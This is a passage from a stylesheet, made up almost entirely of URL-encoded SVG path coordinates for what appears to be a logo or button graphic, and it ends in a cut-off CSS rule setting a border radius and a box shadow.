54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 81.3987C414.373 80.6987 414.438 79.966 414.486 79.2011C414.534 78.4375 414.549 77.6727 414.534 76.9084C414.517 76.1436 414.477 75.4436 414.414 74.806C414.253 73.4376 413.958 72.1394 413.527 70.9128C413.095 69.6873 412.512 68.6607 411.777 67.8316C411.041 67.0037 410.123 66.4462 409.019 66.1601C407.917 65.8734 406.63 65.9686 405.161 66.4462C402.986 66.1601 401.029 66.3595 399.287 67.0437C397.545 67.7292 396.034 68.7237 394.756 70.0291C393.478 71.3358 392.431 72.8715 391.616 74.6394C390.801 76.4066 390.257 78.2224 389.986 80.0848C389.871 80.8744 389.815 81.6605 389.798 82.4447C389.303 83.4544 388.761 84.3368 388.164 85.0774C387.317 86.1283 386.438 86.9883 385.527 87.6568C384.616 88.3258 383.713 88.8355 382.819 89.1858C381.923 89.5367 381.124 89.7755 380.421 89.9022C379.59 90.0616 378.791 90.0779 378.024 89.9501C377.257 89.8234 376.553 89.4567 375.915 88.8513C375.403 88.4058 375.011 87.6889 374.74 86.7016C374.468 85.7144 374.309 84.5926 374.261 83.3338C374.213 82.0756 374.261 80.7617 374.404 79.3926C374.548 78.0236 374.795 76.7254 375.147 75.4994C375.499 74.2733 375.945 73.1746 376.49 72.2024C377.032 71.2322 377.672 70.5388 378.408 70.1249C378.822 70.1891 379.079 70.4352 379.175 70.8649C379.271 71.2952 379.294 71.8049 379.246 72.394C379.199 72.9836 379.127 73.5885 379.031 74.2091C378.935 74.8303 378.887 75.3485 378.887 75.7618C379.047 76.6218 379.358 77.2909 379.822 77.7684C380.285 78.246 380.805 78.5254 381.38 78.6042C381.955 78.6842 382.522 78.549 383.083 78.1981C383.641 77.8484 384.096 77.2909 384.449 76.526C384.48 76.5581 384.528 76.5739 384.592 76.5739L385.264 70.5073C385.455 69.6788 385.327 68.9467 384.88 68.3098C384.432 67.6728 383.841 67.3062 383.106 67.211C382.179 65.8734 380.924 65.165 379.342 65.085C377.76 65.0056 376.138 65.5231 374.476 66.6377C373.453 67.371 372.55 68.3813 371.767 69.671C370.983 70.9613 370.345 72.394 369.85 73.9703C369.353 75.5466 369.002 77.2115 368.795 78.963C368.587 80.7144 368.547 82.4187 368.674 84.0738C368.802 85.7307 369.098 87.2913 369.562 88.7555C370.025 90.221 370.672 91.447 371.504 92.4337C372.207 93.2937 373.005 93.9233 373.9 94.3215C374.795 94.7197 375.73 94.9658 376.705 95.0615C377.68 95.1567 378.647 95.1167 379.606 94.9421C380.565 94.7676 381.476 94.5209 382.339 94.2015C383.457 93.7882 384.609 93.2621 385.791 92.6252C386.973 91.9888 388.108 91.224 389.195 90.3319C389.767 89.8628 390.317 89.3513 390.849 88.8028C391.091 89.4016 391.362 89.981 391.688 90.5234C392.551 91.9561 393.717 93.1191 395.188 94.0106C396.657 94.9021 398.464 95.3312 400.605 95.3003C402.907 95.2682 405.032 94.6876 406.982 93.5567C408.932 92.427 410.53 90.7616 411.777 88.5646C413.644 88.5646 415.481 88.258 417.287 87.6489C417.272 87.8416 417.256 88.0446 417.242 88.2307C417.115 89.9186 417.05 91.0646 417.05 91.67C417.019 92.7209 416.947 94.0185 416.835 95.5627C416.723 97.1075 416.651 98.7318 416.619 100.435C416.588 102.139 416.651 103.859 416.811 105.595C416.971 107.33 417.306 108.907 417.818 110.325C418.328 111.741 419.055 112.944 419.999 113.932C420.941 114.918 422.18 115.508 423.715 115.699C425.345 115.921 426.751 115.635 427.934 114.839C429.116 114.042 430.075 112.952 430.811 111.567C431.546 110.181 432.064 108.581 432.369 106.766C432.672 104.95 432.76 103.127 432.633 101.295C432.504 99.4639 432.168 97.7366 431.625 96.113C431.082 94.4882 430.33 93.1506 429.372 92.0991C429.948 91.9409 430.634 91.6385 431.434 91.1919C432.232 90.7464 433.055 90.2446 433.903 89.687C434.111 89.5501 434.316 89.4058 434.524 89.2652C434.446 90.3937 434.406 91.1985 434.406 91.67C434.375 92.7209 434.303 94.0185 434.19 95.5627C434.079 97.1075 434.007 98.7318 433.975 100.435C433.943 102.139 434.007 103.859 434.167 105.595C434.326 107.33 434.662 108.907 435.173 110.325C435.684 111.741 436.412 112.944 437.354 113.932C438.297 114.918 439.536 115.508 441.071 115.699C442.7 115.921 444.106 115.635 445.289 114.839C446.472 114.042 447.431 112.952 448.166 111.567C448.901 110.181 449.42 108.581 449.724 106.766C450.028 104.95 450.115 103.127 449.988 101.295C449.86 99.4639 449.524 97.7366 448.982 96.113C448.437 94.4882 447.687 93.1506 446.727 92.0991C447.303 91.9409 447.99 91.6385 448.789 91.1919C449.588 90.7464 450.411 90.2446 451.259 89.687C451.699 89.3974 452.136 89.0986 452.573 88.7913C452.737 90.3488 453.091 91.7149 453.655 92.864C454.343 94.2658 455.277 95.3482 456.46 96.113C457.642 96.8766 459.033 97.299 460.632 97.3784C462.23 97.4572 463.971 97.1633 465.858 96.4942C467.264 95.9851 468.486 95.3482 469.525 94.5839C470.563 93.8191 471.498 92.8876 472.33 91.7894C472.378 91.7258 472.423 91.6567 472.47 91.5925C472.618 92.0385 472.782 92.467 472.977 92.864C473.665 94.2658 474.6 95.3482 475.782 96.113C476.964 96.8766 478.355 97.299 479.953 97.3784C481.551 97.4572 483.293 97.1633 485.179 96.4942C486.586 95.9851 487.808 95.3482 488.847 94.5839C489.885 93.8191 490.82 92.8876 491.652 91.7894C492.483 90.6901 493.241 89.424 493.929 87.9913C494.616 86.558 495.311 84.9186 496.015 83.0708C496.142 82.5617 496.022 82.1078 495.655 81.7096Z' fill='%230D0C23'/%3E%3C/svg%3E%0A\");\n border-radius: 6px;\n box-shadow: 0px 2px 3px rgba(0, 0, 0, 